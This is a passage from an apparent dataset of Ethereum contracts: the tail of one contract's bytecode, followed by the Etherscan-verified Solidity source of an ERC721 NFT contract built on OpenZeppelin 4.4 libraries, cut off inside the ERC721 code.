fffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610d3a573d6000803e3d6000fd5b50505b505b565b60076020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610da88260008086815260200190815260200160002060000161163990919063ffffffff16565b905092915050565b6000610dd98260008086815260200190815260200160002060000161165390919063ffffffff16565b905092915050565b610dee6000801b33610db0565b15610fcf576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610fcd57610e997f40dcdde54fce2b4da56afd2611356f44203c8f196ff812f0012760468fe766a5600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166112ae565b610ec37f40dcdde54fce2b4da56afd2611356f44203c8f196ff812f0012760468fe766a583610a94565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b50565b60085481565b6000801b81565b60095481565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611185576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061109d7f442e70e83397770c9f1520820e5555e76d9d4f0a415d9c72548c8daac6944e1f33610db0565b15611182576110f482600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cf90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503390508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611180573d6000803e3d6000fd5b505b50505b565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60006111ed600080848152602001908152602001600020600001611683565b9050919050565b600115156112227f442e70e83397770c9f1520820e5555e76d9d4f0a415d9c72548c8daac6944e1f33610db0565b151514156112ab57602881116112aa57806008819055506112506008546006546113cf90919063ffffffff16565b60098190555061126c600360095461145290919063ffffffff16565b600a819055507f287f7db84de26e34c025d1c227b26e235b8806917d6e01c34a363c60a668b82a816040518082815260200191505060405180910390a15b5b50565b6112d4600080848152602001908152602001600020600201546112cf61150b565b610db0565b611329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806119296030913960400191505060405180910390fd5b61133382826115a6565b5050565b600a5481565b7f40dcdde54fce2b4da56afd2611356f44203c8f196ff812f0012760468fe766a581565b600061138d7f442e70e83397770c9f1520820e5555e76d9d4f0a415d9c72548c8daac6944e1f33610db0565b806113be57506113bd7f40dcdde54fce2b4da56afd2611356f44203c8f196ff812f0012760468fe766a533610db0565b5b156113cb574790506113cc565b5b90565b600082821115611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b60008082116114c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b8183816114d257fe5b04905092915050565b6000611503836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611698565b905092915050565b600033905090565b61153a816000808581526020019081526020016000206000016114db90919063ffffffff16565b156115a25761154761150b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6115cd8160008085815260200190815260200160002060000161170890919063ffffffff16565b15611635576115da61150b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60006116488360000183611738565b60001c905092915050565b600061167b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6117bb565b905092915050565b6000611691826000016117de565b9050919050565b60006116a483836117bb565b6116fd578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611702565b600090505b92915050565b6000611730836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6117ef565b905092915050565b600081836000018054905011611799576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118d86022913960400191505060405180910390fd5b8260000182815481106117a857fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020549050600081146118cb576000600182039050600060018660000180549050039050600086600001828154811061183a57fe5b906000526020600020015490508087600001848154811061185757fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061188f57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506118d1565b60009150505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220e577798e77f69102d28b4d65545b09f406c1c5d2d6eaf27a4b8043bbf2960a5864736f6c634300060c0033
[ 38 ]
0xf2fc045948a7af573634ace2e2882f7a67f3fd0c
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts@4.4.2/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts@4.4.2/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts@4.4.2/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts@4.4.2/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts@4.4.2/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts@4.4.2/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts@4.4.2/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts@4.4.2/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts@4.4.2/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts@4.4.2/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external payable; } // File: @openzeppelin/contracts@4.4.2/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts@4.4.2/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts@4.4.2/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); string memory extURI= ".json"; return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), extURI)) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public payable virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public payable virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public payable virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * 